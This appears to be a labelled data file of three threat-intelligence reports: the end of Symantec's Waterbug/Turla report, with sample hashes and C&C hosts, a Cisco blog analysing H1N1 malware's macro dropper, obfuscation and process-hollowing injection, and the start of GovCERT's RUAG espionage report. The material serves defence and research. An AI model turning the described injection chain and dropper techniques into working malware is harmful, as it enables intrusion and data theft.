05:20:20 f613fd96294515aaee3a2663d3b034c1 SAV [possibly compiled from pre-2011 sources] 2012-01-13 05:20:20 f86afb092e4b1a364ed6f6bc7f81db74 Page 38 The Waterbug attack group SAV 2011 2786525baa5f2f2569ca15caff1ebf86 SAV 2011 7a1348838ab5fe3954cb9298e65bfbee SAV 2011 a6fdf333606aef8c10d7e78444721c02 SAV 2011 1970-01-01 00:00:00 368d20edfd287e5ea3bb664a90e1a95e SAV 2011 2008-05-31 02:18:53 eaea9ccb40c82af8f3867cd0f4dd5e9d SAV 2011 2011-06-24 07:47:59 ed785bbd156b61553aaf78b6f71fb37b SAV 2011 2011-06-24 07:47:59 edd5fd7cf3b22fa4ea956d1a447520ff SAV 2011 2011-06-24 07:49:41 320f4e6ee421c1616bd058e73cfea282 SAV 2011 2011-06-24 07:49:41 40aa66d9600d82e6c814b- 5307c137be5 SAV 2011 2011-06-24 07:49:41 5036c44fbe7a99a0bddc9f05f7e9df77 SAV 2011 2011-06-24 07:49:41 60ec7a1c72f0775561819aa7681cf1ac SAV 2011 2011-06-24 07:49:41 c62e2197ac81347459e07d6b- 350be93a SAV 2011 2011-06-24 07:49:41 e265cd3e813d38d44e0fb7d84af24b4e SAV 2011 2011-06-24 07:49:41 f4f192004df1a4723cb9a8b4a9eb2fbf SAV 2011 2011-06-24 07:49:41 fb56784a109272bda77f241b06e4f850 SAV 2011 2011-10-26 05:04:06 4bd507e64c289d6687901baf16f6bbd7 SAV 2011 2011-10-26 05:04:06 e32d9e04c04c0c7e497905b5dcba7e50 SAV 2011 2011-10-26 05:04:06 ff411fc323e6652fcc0623fa1d9cb4d3 SAV 2011 2012-12-07 08:54:53 0565fc9cad0a9d3474fc8b6e69395362 SAV 2011 2012-12-07 08:54:53 ccb1b0e7ccd603c6cefc838c4a6fa132 SAV 2011 2013-02-04 13:17:56 69fc2ef72b3b0f30460b67d0201eef6e SAV 2011 2013-02-04 13:17:56 90478f6ed92664e0a6e6a25ecfa8e395 SAV 2011 2013-02-04 13:17:59 10254385e980f8b0784e13a5153e4f17 SAV 2011 2013-02-04 13:17:59 3e521e7d5b1825d8911fff9317503e13 SAV 2011 2013-02-04 13:17:59 b46c792c8e051bc5c9d4cecab96e4c30 SAV 2011 2013-02-04 13:18:09 2702e709eaae31c9255f812592d06932 SAV 2011 2013-02-04 13:18:09 5f8f3cf46719afa7eb5f761cdd18b63d Page 39 The Waterbug attack group SAV 2011 2013-02-04 13:18:09 c58ab0bec0ebaa0440e1f64aa9dd91b3 SAV 2011 2013-02-04 13:18:10 2b47ad7df9902aaa19474723064ee76f SAV 2011 2013-02-04 13:18:10 bd2fdaff34112cbfdfb8a0da75a92f61 SAV 2011 2013-02-04 13:18:10 ea3d1ee0dd5da37862ba81f468c44d2a SAV 2011 2013-02-04 13:19:09 f156ff2a1694f479a079f6777f0c5af0 SAV 2011 2013-02-04 13:19:14 83b9eeffc9aad9d777dd9a7654b3637e SAV 2011 2013-02-04 13:19:14 a22150576ca5c95c163fea4e4e750164 SAV 2011 2013-02-04 13:19:21 607d8fe2f3c823d961b95da106e9df5f SAV 2011 2013-02-04 13:19:21 626576e5f0f85d77c460a322a92bb267 SAV 2011 2013-02-04 13:19:25 5cc5989e870b23915280aee310669ccb SAV 2011 2013-02-04 13:19:25 611bbfb33b4b405d5d76a5519632f99a SAV 2011 2013-02-04 13:19:25 8c4029bbd9dfb1093fb9cca3db01f8ff SAV 2011 2013-02-04 13:19:25 8cf1c23e71783a4fb00005e569253d6d SAV 2011 2013-02-04 13:19:31 1d4ec94509aa1cb53148eb715facae76 SAV 2011 2013-02-04 13:19:31 209bfa50786096328934ad1dc62a4ec3 SAV 2011 2013-02-04 13:19:31 a655b19814b74086c- 10da409c1e509c0 SAV 2011 2013-02-04 13:19:53 1538246b770e215781e730297ce db071 SAV 2011 2013-02-04 13:19:53 199661f25577f69592e8caea76166605 SAV 2011 2013-02-04 13:19:53 3889a23e- 449362a34ba30d85089407c8 SAV 2011 2013-02-04 13:19:53 3c1a8991e96f4c56ae3e90fb6f0ae679 SAV 2011 2013-02-04 13:19:53 4535025837bebae- 7a04eb744383a82d7 SAV 2011 2013-02-04 13:19:59 1c6c857fa17ef0aa3373ff16084f2f1c SAV 2011 2013-02-04 13:19:59 1f7e40b81087dbc2a65683eb25df72c4 SAV 2011 2013-02-04 13:20:02 119f2d545b167745fc6f71aed1f117f6 SAV 2011 2013-02-04 13:20:02 750d2f5d99d69f07c6cee7d4cbb45e3f SAV 2011 2013-02-04 13:20:04 01829c159b- be25083b8d382f82b26672 SAV 2011 2013-02-04 13:20:04 3de8301147da3199e- 422b28bb782e2a9 SAV 2011 2013-02-04 13:20:04 a762d2c56999eda5316d0f94aba940cb Page 40 The Waterbug attack group SAV 2011 2013-02-04 13:20:04 f3858dc203da418474b5033a912170c0 SAV 2011 2013-02-04 13:20:04 f57c84e22e9e6eaa6cbd9730d7c652dc SAV 2011 2013-02-04 13:20:05 083c95e8ffa48f7da5ae82b0bd79db1b SAV 2011 2013-02-04 13:20:05 380bb5b8c750c7252948dc0890 1c0487 SAV 2011 2013-02-04 13:20:05 64adad7c7965a0abc87a1cbc6c77b558 SAV 2011 2013-02-04 13:20:05 8cd392a5b62c44dd88c6b847db428fba SAV 2011 2013-02-04 13:20:05 d4fb3ec5951a89a573445058012d7dcd SAV 2011 2013-02-08 12:12:45 01c90932794c9144fa6c842e2229e4ec SAV 2011 2013-02-08 12:12:45 24ad996024bb9b2321550ab- f348e009d SAV 2011 2013-02-08 12:12:45 921ad714e7fb01aaa8e9b960544e0d36 SAV 2011 2013-02-08 12:12:45 e183bfd93326f77f7596dcc41064a7c8 SAV 2011 2013-02-08 12:12:49 96fff289cc939d776a1198f460717aff SAV 2011 2013-02-08 12:12:49 eb621eeecafd25a15e999fe786470bf4 SAV 2011 2013-02-08 12:12:58 a231056fcc095d0f853e49f47988e46e SAV 2011 2013-02-08 12:12:58 ff8071d7147c4327e17c95824bb7315f SAV 2011 2013-02-08 12:13:00 465eed02d1646a3ad20c43b9f0bbe2e9 SAV 2011 2013-02-08 12:13:00 4c4e1a130bb2cea63944b589fc212e1f SAV 2011 2013-02-08 12:13:00 70dc1e25493940e959fd1f117e60a90c SAV 2011 2013-02-08 12:13:08 4f42fe8c67214c7ab5c9f8d6a8ed2c9c SAV 2011 2013-02-08 12:13:08 6095f71f699ff30bba2321d433e91e1d SAV 2011 2013-02-08 12:13:08 a86ac0ad1f8928e8d4e1b728448f54f9 SAV 2011 2013-02-08 12:13:18 22d01fa2725ad7a83948f399144563f9 SAV 2011 2013-02-08 12:13:18 3f4d37277737c118ecda5e90418597a5 SAV 2011 2013-02-08 12:13:18 498f9aa4992782784f49758c81679d0a SAV 2011 2013-02-08 12:13:18 bb4e92c27d52fb8514a133629c4c7b05 SAV 2011 2013-02-08 12:13:19 5ede9cb859b40fb01cf1efb6ad32a5f1 SAV 2011 2013-02-08 12:13:19 aa9b4a7faa33c763275d2888fbf0f38b SAV 2011 2013-02-08 12:13:22 b19d41bec36be0e54f8740855c309c85 Page 41 The Waterbug attack group SAV 2011 2013-02-08 12:13:22 ee58e5434b0cabaff8aba84ed1526d8d SAV 2011 2013-02-08 12:13:26 199fa4ef7c88271882d81618d82acd0a SAV 2011 2013-02-08 12:13:26 29f39297bd068b0b3f0ceb01abc1fa90 SAV 2011 2013-02-08 12:13:26 335387e729499ff7d46c25477e9c8c5a SAV 2011 2013-02-08 12:13:26 58c5f766ef18df552a8b39dab9d29d2a SAV 2011 2013-02-08 12:13:26 e224fd7563b9c7893566018204be820c SAV 2011 2013-05-14 10:42:23 b2a9326bc421581dc60a03b97ee7ffce SAV 2011 2013-05-14 10:42:23 c6c475d7678c1a3ccbba987042c08fdf SAV 2011 2013-10-04 13:07:42 02eb0ae7bfa899d80a6e8d14603a1774 SAV 2011 2013-10-04 13:07:42 41acf7f9e821d087781d9f69c5a08eb8 SAV 2011 2013-10-04 13:07:42 ddc439cae6bd6d68157e4d28b14be68c SAV 2011 2013-10-04 13:07:42 f65c36b49b3d1ad0074124b- d31c74b50 SAV 2011 2014-03-21 06:41:54 24f2b8ed1bab204f00dc49a76c4aa722 SAV 2011 2014-03-21 06:41:54 43af46ba9015a06cc8ffaac6105ea732 SAV 2011 2014-03-21 06:41:54 9c1199662869706e1361b3cc1df1f8b6 SAV 2011 2014-03-21 06:41:53 101e57e655cd70de09fdb5dc6660a861 SAV 2011 2014-03-21 06:41:53 36986f7dedc83c8ea3fbd6a51bd594b2 SAV 2011 2014-03-21 06:41:53 463c217df2ea75f98cb4d02b8b688318 SAV 2011 2014-03-21 06:41:53 ce184ef045f4b0eb47df744ef54df7bc SAV 2011 2014-03-21 06:41:53 efdaf1460ce9e62bde6b98ae4749cf56 SAV 2011 2014-03-21 06:41:53 fcaebfbad36d66627c3e1c72f621131a ComRAT 2013-01-03 00:37:57 255118ac14a9e66124f7110acd16f2cd ComRAT 2013-01-03 00:55:06 8d4f71c3ec9a7a52904bbf30d0ad7f07 ComRAT 2013-01-03 18:03:16 7592ac5c1cf57c3c923477d8590b6384 ComRAT 2013-01-03 18:03:45 b407b6e5b4046da226d6e189a67f62ca ComRAT 2013-01-03 18:14:51 0ae421691579ff6b27f65f49e79e88f6 Generic 24a13fc69075025615de7154c3f5f83f Page 42 The Waterbug attack group Trojan.Turla C&C servers Symantec has sinkholed a number of C&C servers used by the Waterbug group. Table 6 details the C&C servers that Symantec has identified. Generic a4791944d- c3b6306692aed9821b11356 mail.9aac.ru; http://kad.arbitr.ru/ http://9aas.arbitr.ru 9aas.arbitr.ru/ Generic bdf2a449f611836bc55117586d8b1b31 Generic dd5c6199cef69d4e2a1795e481d5f87d Generic eeeccf09d64c6d32d67dbcedd25d47ac Generic fa8715078d45101200a6e2bf7321aa04 Table 6. C&C servers used by the Waterbug group C&C hostname / IP Address Sinkholed communityeu.xp3.biz SINKHOLED euassociate.6te.net SINKHOLED euland.freevar.com SINKHOLED eu-sciffi.99k.org fifa-rules.25u.com franceonline.sytes.net greece-travel.servepics.com hockey-news.servehttp.com marketplace.servehttp.com musicplanet.servemp3.com music-world.servemp3.com newutils.3utilities.com nightday.comxa.com north-area.bbsindex.com SINKHOLED olympik-blog.4dq.com pokerface.servegame.com pressforum.serveblog.net sanky.sportsontheweb.net softprog.freeoda.com tiger.got-game.org tiger.netii.net toolsthem.xp3.biz SINKHOLED top-facts.sytes.net weather-online.hopto.org wintersport.sytes.net Page 43 The Waterbug attack group world-weather.zapto.org x-files.zapto.org booking.etowns.org SINKHOLED easports.3d-game.com SINKHOLED cheapflights.etowns.net SINKHOLED academyawards.effers.com SINKHOLED 62.68.73.57 62.12.39.117 202.78.201.99 82.113.19.75 207.226.44.167 85.195.129.196 193.19.191.240 82.211.156.190 72.232.222.58 212.6.56.67 62.212.226.118 82.113.19.72 196.45.118.14 82.77.184.252 213.150.170.192 212.6.56.82 62.12.39.117 62.68.73.57 80.88.134.172 te4step.tripod.com www.scifi.pages.at support4u.5u.com eu-sciffi.99k.org swim.onlinewebshop.net winter.site11.com july.mypressonline.com soheylistore.ir tazohor.com jucheafrica.com 61paris.fr For specific country offices and contact numbers, please visit our website. Symantec World Headquarters 350 Ellis St. Mountain View, CA 94043 USA +1 (650) 527-8000 1 (800) 721-3934 www.symantec.com Copyright \xc2\xa9 2015 Symantec Corporation. All rights reserved. Symantec, the Symantec Logo, and the Checkmark Logo are trademarks or registered trademarks of Symantec Corporation or its affiliates in the U.S. and other countries. Other names may be trademarks of their respective owners. Any technical information that is made available by Symantec Corporation is the copyrighted work of Symantec Corporation and is owned by Symantec Corporation. NO WARRANTY . The technical information is being delivered to you as is and Symantec Corporation makes no warranty as to its accuracy or use. Any use of the technical documentation or the information contained herein is at the risk of the user. Documentation may include technical or other inaccuracies or typographical errors. Symantec reserves the right to make changes without prior notice. About Symantec Symantec Corporation (NASDAQ: SYMC) is an information protection expert that helps people, businesses and governments seeking the freedom to unlock the opportunities technology brings -- anytime, anywhere. Founded in April 1982, Symantec, a Fortune 500 company, operating one of the largest global data-intelligence networks, has provided leading security, backup and availability solutions for where vital information is stored, accessed and shared. The company\xe2\x80\x99s more than 20,000 employees reside in more than 50 countries. Ninety-nine percent of Fortune 500 companies are Symantec customers. In fiscal 2014, it recorded revenues of $6.7 billion. To learn more go to www.symantec.com or connect with Symantec at: go.symantec.com/social/. http://www.symantec.com go.symantec.com/social/ Pattern-2 Pattern-3 Pattern-4 Pattern-5 Pattern-6 Pattern-7 Pattern-8 Pattern-9 OVERVIEW Introduction Vectors Spear-phishing Venom distribution network Malware Trojan.Wipbot Trojan.Turla Conclusion Appendix Injection attack analysis PluginDetect library Exploits Trojanized applications Trojan.Turla variants Detection guidance Waterbug tools Additional exploits used Samples Trojan.Turla C&C servers","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Search Cisco Blog > Security Security H1N1: Technical analysis reveals new capabilities Josh Reynolds September 13, 2016 - 2 Comments This blog is the first in a 3 part series that will provide an in-depth technical analysis on the H1N1 malware. I\xe2\x80\x99ll be looking at how H1N1 has evolved, its obfuscation, analyzing its execution including new information stealing and user account control bypass capabilities, and finally exploring how we are both using and influencing security tools with this research. Overview Through the use of general characteristics exhibited by malware authors we are able to broadly categorize and positively identify malicious samples. These characteristics, discussed in The General Behavior of Ransomware are indexed in a database, which allows us to identify patterns, outliers and obtain greater visibility and insight into various threats. H1N1\xe2\x80\x99s evolution: past and present These data sets provide insight into the ever-growing attack vectors that affect our customers, which include malware delivery mechanisms. In this blog series we highlight newly added functionality to a malware variant that started out as being a \xe2\x80\x98loader\xe2\x80\x99 (strictly provides capabilities of loading other more complex malware variants) known as H1N1, and has now evolved into an information stealing variant. Throughout the data mining exercises conducted by my colleagues and I on the AMP Threat Grid Research & Efficacy Team (RET) we have observed a widely distributed campaign using VBA macros to infect machines with a variant of information-stealing malware. Based on the initial characteristics observed by AMP Threat Grid we believed these malicious documents were distributing a Ransomware variant; however, we later found the dropped executables to be a variant of the H1N1 loader. H1N1 is a loader malware variant that has been known to deliver Pony DLLs and Vawtrak executables to infected machines. Upon infection, H1N1 previously only provided loading and system information reporting capabilities.1,2 Key findings from our analysis include: Unique obfuscation techniques A novel DLL hijacking vulnerability resulting in a User Account Control bypass Added information stealing capabilities Self-propagation/lateral movement capabilities Background H1N1 has added a plethora of new functionality in comparison to earlier reports. Throughout this blog series we will be analyzing the capabilities of H1N1 including: obfuscation, a User Account Control (UAC) bypass, information stealing, data exfiltration, loader/dropper, and self-propagation/lateral movement techniques used by this variant.1,2 Infection Vector The use of Visual Basic macros is nothing new, however, in recent months they have become one of the most popular infection vectors for all malware types, especially for Ransomware campaigns. These macros vary in sophistication from performing the download and execution of hosted binaries, to dropping the binaries themselves. In this campaign we see the latter where the document ships an entire encoded binary within the text box of a VBA macro form. All documents throughout this campaign have used a common naming convention in the following formats: [domain]_card_screenshot.doc confirmation_[random integers].doc bank_confirmation_[random integers].doc debit_request_[random integers].doc creditcard_statement_[random integers].doc insurance_[random integers].doc inventory_list_[random integers].doc debt_[random integers].doc The domains for the first format observed include the financial, energy, communications, military and government sectors. Unsurprisingly, these documents are delivered through spear-phishing e-mail campaigns. A number of subject headings can be observed in VirusTotal: Figure 1.0: Attached e-mail subject headings in VirusTotal for identified documents Figure 1.0: Attached e-mail subject headings in VirusTotal for identified documents Although the specified domain in the filename differentiates between targets, the lure message within the phishing e-mail does not vary drastically, for example: Figure 2.0: Example phishing message within attached e-mail Figure 2.0: Example phishing message within attached e-mail The remaining formats appear to simply seem enticing enough to open being related finance, corporate or personal information. Upon opening the document, the attacker attempts to social engineer the user into executing the malicious macro content by stating it will adjust to their version of Microsoft Word: Figure 3.0: Social engineering content of document to open macros Dropper Obfuscation The VBA macro is highly obfuscated, making use of many VBA tricks to hide its true intent. These include the use of string functions: StrReverse, Ucase, Lcase, Right, Mid, and Left. For example, the following gets the %temp% path: fig4 Figure 4.0: String obfuscation mechanisms to get %temp% Mid is used here to produce \xe2\x80\x9c.Scripting\xe2\x80\x9d, Ucase and StrReverse are used to produce \xe2\x80\x9cFIleSystemObject\xe2\x80\x9d, which is used to create a VBA FileSystemObject, that is then used with GetSpecialFolder, and some basic arithmetic resulting in \xe2\x80\x9c2\xe2\x80\x9d to get %temp%.As mentioned, the binary to be executed is extracted from a VBA form text box: Figure 5.0: VBA form containing obfuscated PE within text box Figure 5.0: VBA form containing obfuscated PE within text box The text box content is set into a variable, which is then passed off to a de-obfuscation function. The core de-obfuscation functionality is a two steps process. The first is an XOR loop with a fixed byte key of 0xE, which produces a base64 encoded portable executable (PE): Figure 6.0: XOR decoding/de-obfuscation loop Figure 6.0: XOR decoding/de-obfuscation loop The second is a VBA implementation of base64 that decodes it to produce a final Portable Executable (PE): Figure 7.0: VBA Base64 implementation Figure 7.0: VBA Base64 implementation The de-obfuscated executable is then written to %temp% and executed. We can follow the execution flow through the use of process visualization in AMP Threat Grid. What this provides is graphed process interactions (child-parent relationships) for the entirety of the run. In the case of the H1N1 malicious document, it is very apparent that WINWORD.EXE is executing a separate binary: Figure 8.0: Process graph showing execution of dropped executable from Microsoft Word Figure 8.0: Process graph showing execution of dropped executable from Microsoft Word Unpacking Unpack The binary has a total of three routines responsible for unpacking and injection. The first routine injects via the following steps: Unpacking algorithm unpacks code to be written Creates a suspended process of the executable written to %temp% from the document with CreateProcessA Writes to that image with WriteProcessMemory Uses GetThreatContext, SetThreadContext and ResumeThread to execute at the EP of the unpacked executable. On the call to WriteProcessMemory we see the lpBuffer address points to a complete PE, as is indicated by the MZ header: 9.0: First MZ from WriteProcessMemory lpBuffer argument 9.0: First MZ from WriteProcessMemory lpBuffer argument We can then dump this to disk for analysis of the next unpacking stage. The next routine makes use of the injection method used by Duqu to write its unpacked image3: CreateProcessW CreateProcessW is called to create a suspended \xe2\x80\x98Explorer.exe\xe2\x80\x99 process Use the handle from PROCESS_INFORMATION produced by CreateProcessW with ZwQueryInformationProcess to get Explorer.exe PEB and ImageBaseAddress Allocate and write up to 500 bytes of of the Explorer.exe process using ReadProcessMemory Get actual image size from PE header, allocated this size, and write entire Explorer.exe image into memory Use UnMapViewOfSection with ImageBaseAddress and process handle of Explorer.exe from step 2 to un-map the current section in order to avoid STATUS_CONFLICTING_ADDRESSES upon mapping of the new section Overwrite image sections of Explorer.exe with unpacked (of the current step) executable code Use MapViewOfSection to map the manipulated Explorer.exe using the process handle from step 2 Call ResumeThread to start execution of unpacked code (of the current step) In order to continue to trace the execution of this code (to what we discovered was more unpacking code) we wrote 0xEBFE (relative JMP to offset 0) to the entry point of the newly written Explorer.exe. This causes Explorer.exe to spin until we can attach to this process with a debugger. Breaking on the first VirtualAlloc performed by the injected process enabled us to see a large allocation occur, and setting a breakpoint on writing to this memory location makes it apparent that an entire DLL is written to this memory location by the (current) unpacking code: Figure 10.0: Upack MZ to be injected Figure 10.0: Upack MZ to be injected Looking at the PE header the string \xe2\x80\x9cUpackByDwing\xe2\x80\x9d is apparent which indicates that this packer is being used on the final binary. Opening up this code with a disassembler (in this case IDA Pro) showed the following jump that could not be followed when the functions were graphed: Figure 11.0: Function graph for final Upack unpacking stage Figure 11.0: Function graph for final Upack unpacking stage There is an infamous POPAD prior to this jump, which for those seasoned unpackers, is indicative of leading to the OEP of an unpacked binary due to restoring of the register state prior to the unpacked code being called. If a breakpoint is set on the OEP identified and we continue to trace through the injected code within Explorer.exe, it becomes clear that this address is eventually called from the unpacking code. At this point, once the breakpoint is hit, we can dump the unpacked binary to disk. One final hurdle is required in order to get an independent executable that can be debugged. When the binary is written and jumped to, a pointer argument is passed on the stack that is later dereferenced within the binary. This is provided when the binary is unpacked from the injected Explorer.exe, however a null pointer is passed when the binary is executed independently. This argument points to a size value of 0x31DB used for a call to VirtualAlloc. We can edit the unpacked code in-line to point to a known address with this value: Figure 12.0: In-line edits to allow independent binary execution Figure 12.0: In-line edits to allow independent binary execution Analysis I\xe2\x80\x99m only going to cover the obfuscation techniques used by H1N1 in this blog. The remaining analysis of H1N1 will be posted in my next blog. Obfuscation Upon opening the binary in a disassembler (in this case IDA Pro) we see that imports are resolved dynamically using hashing of DLLs and exports, and a string obfuscation technique used throughout the binary. String Obfuscation The string obfuscation technique makes use of SUB, XOR, and ADD with fixed DWORD values, and the result of each step using is stored using STOSD. The result of each operation is then used as the input (within EAX) for each subsequent step. For example: Figure 13.0: String obfuscation technique example Figure 13.0: String obfuscation technique example The result of these operations produces the path to the WOW64 version of svchost.exe. We\xe2\x80\x99ve written an IDAPython script to automatically decode these strings from a provided address starting with the XORing of EAX, performing operations on the DWORDs involved up to a certain \xe2\x80\x9cdepth\xe2\x80\x9d (as strings vary in length), and adding the resulting string as a comment next to the next instruction head.4 Import Obfuscation (via Import Hashing) Hashed imports can be resolved by hashing the library export names ourselves. Import name strings are obfuscated using the technique mentioned above, and export names from each library are hashed by walking the export table and performing a simple XOR and ROL loop over each name: for(i = 0; i < strlen(export_name); i++) { r = rol32(r, 7); r ^= export_name[i]; } We\xe2\x80\x99ve replicated the hashing algorithm and all exports can be hashed from a given DLL. These hash values can be mapped within IDA using a C header file generated by our python script.5 To be continued\xe2\x80\xa6 In the next blog I\xe2\x80\x99ll provide the analysis of H1N1\xe2\x80\x99s execution. Stay tuned! [1] https://www.proofpoint.com/tw/threat-insight/post/hancitor-ruckguv-reappear [2] https://www.arbornetworks.com/blog/asert/wp-content/uploads/2015/06/blog_h1n1.pdf [3] http://blog.w4kfu.com/tag/duqu [4] https://communities.cisco.com/docs/DOC-69444 [5] https://communities.cisco.com/docs/DOC-69443 Share: share on twitter share on facebook share on linkedin Tags: AMP Threat GridH1N1 malwareMalware Analysis In an effort to keep conversations fresh, Cisco Blogs closes comments after 60 days. Please visit the Cisco Blogs hub page for the latest content. 2 Comments Dr. Jose A. Wong - Perez September 15, 2016 at 4:00 pm I can definitely say that in this post are the \xe2\x80\x9ctools of the trade \xe2\x80\x9c, the insides to begin the journey to gain a good understanding of \xe2\x80\x9cH1N1\xe2\x80\x9d, its a real jewel. Mike September 15, 2016 at 6:48 am Great article! Most analysis that is written tends to be very high-level and not really get into the proverbial \xe2\x80\x9cnuts & bolts\xe2\x80\x9d the malware techniques. I much prefer this sort of deep dive style with the greater detail on how the code works, what it does, and how it does it. Well done, and an excellent read. Subscribe to Security Enter email address Connect with Security Facebook Twitter Linkedin YouTube Instagram Rss What We're Reading CERT Vulnerability Analysis Microsoft Security Research & Defense SANS Internet Storm Center Schneier on Security Related Links Cisco Security Security Advisories for Cisco Products & Alerts Security Best Practices Security Products Contacts Feedback Help Site Map Terms & Conditions Privacy Statement Cookies Trademarks","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"MELANI:GovCERT TLP WHITE APT Case RUAG Technical Report Author: GovCERT.ch Date: 23rd May 2016 TLP: WHITE Topic: Technical Report about the Espionage Case at RUAG MELANI:GovCERT TLP WHITE Content Summary 1 Introduction 2 The Case . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2 The Chronology . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2 The Malware Family . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3 Modus Operandi 4 Victim Evaluation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 Infecting . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 Active Infection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 Trojan Supported Reconnaissance . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 9 Gaining Information and the Task Format . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11 Gaining Final Persistence . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12 A Closer Look at the Encryption Algorithms Used in Carbon-DLL and Tavdig . . . . . . . . 15 Lateral movement . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21 Data Exfiltration . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23 Recommendations 27 System level . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27 Active Directory . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27 Network level . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27 Log files . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 28 System Management . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 28 Organization . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 28 Conclusion 29 Appendix IOCs 31 URLs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31 MD5 Hashes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31 External References . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32 CONTENT MELANI:GovCERT TLP WHITE Summary The RUAG cyber espionage case has been analyzed by GovCERT in order to provide insight and protection. We decided to publish this report to give organizations the chance to check their networks for similar infections, and to show the modus operandi of the attacker group. The attackers have been using malware from the Turla family, which has been in the wild for several years. The variant observed in the network of RUAG has no rookit functionality, but relies on obfuscation for staying undetected. The attackers showed great patience during the infiltration and lateral movement. They only attacked victims they were interested in by implementing various measures, such as a target IP list and extensive fingerprinting before and after the initial infection. After they got into the network, they moved laterally by infecting other devices and by gaining higher privileges. One of their main targets was the active directory, as this gave them the opportunity to control other devices, and to access the interesting data by using the appropriate permissions and group memberships. The malware sent HTTP requests to transfer the data to the outside, where several Command-and-Control (C&C) servers were located. These C&C servers provided new tasks to the infected devices. Such tasks may consist of new binaries, configuration files, or batch jobs. Inside the infiltrated network, the attackers used named pipes for the internal communication between infected devices, which is difficult to detect. This way, they constructed a hierarchical peer-to-peer network: some of these devices took the role of a communication drone, while others acted as worker drones. The latter ones never actually contacted any C&C servers, but instead received their tasks via named pipes from a communication drone, and also returned stolen data this way. Only communication drones ever contacted C&C servers directly. It is difficult to estimate the damage caused by the attackers; this is by any means beyond the scope of this report. However, we observed interesting patterns in the proxy logs. There were phases with very few activity, both in terms of requests and amount of data transferred. These quiet phases were seperated by high-activity periods with many requests and big amounts of exfiltrated data. At the end of the report, we provide some recommendations and countermeasures we consider most effective against this kind of threat on the level of end-devices, the active directory, and the network. It is important to mention that many countermeasures are not cost-intensive, and can be implemented with reasonable amount of work. Even if it is difficult to completely protect an organization against such actors, we are confident that they are detectable, as everyone makes mistakes. The defending organization must be ready to see such traces, and to share this information with other parties, in order to follow such attackers closely. SUMMARY 1 / 32 MELANI:GovCERT TLP WHITE Introduction The following is a short report with the intention to inform the public about Indicators of Compromise (IOCs) and Modus Operandi of the attacker group that is responsible for the RUAG cyber espionage case, which has been made public on Wednesday, May 4th 2016. One of the main tasks of MELANI is to support critical infrastructures during security incidents and the co- ordination of relevant actors involved. Regarding technical first response and support, GovCERT supported RUAG with log analysis, forensics, malware reverse engineering and security monitoring. The report below reflects our experiences during this case. The Case The cyber attack is related to a long running campaign of the threat actor around Epic/Turla/Tavdig. The actor has not only infiltrated many governmental organizations in Europe, but also commercial companies in the private sector in the past decade. RUAG has been affected by this threat since at least September 2014. The actor group used malware that does not encompass any root kit technologies (even though the attackers have rootkits within their malware arsenal). An interesting part is the lateral movement, which has been done with a lot of patience. The intention of the attackers is always to steal information from the victim. In order to this, they infiltrate the network and then move laterally, until they are able to retrieve the information of interest. We would like to emphasize that public blaming is never appropriate after such attacks. These attacks may happen to every organization regardless of their security level. What is much more important is to learn from these attacks and to raise the bar for the next time the attacker tries to infiltrate the network. The Chronology The picture below shows the chronology of the attack against RUAG. Figure 1: Timeline of Attack 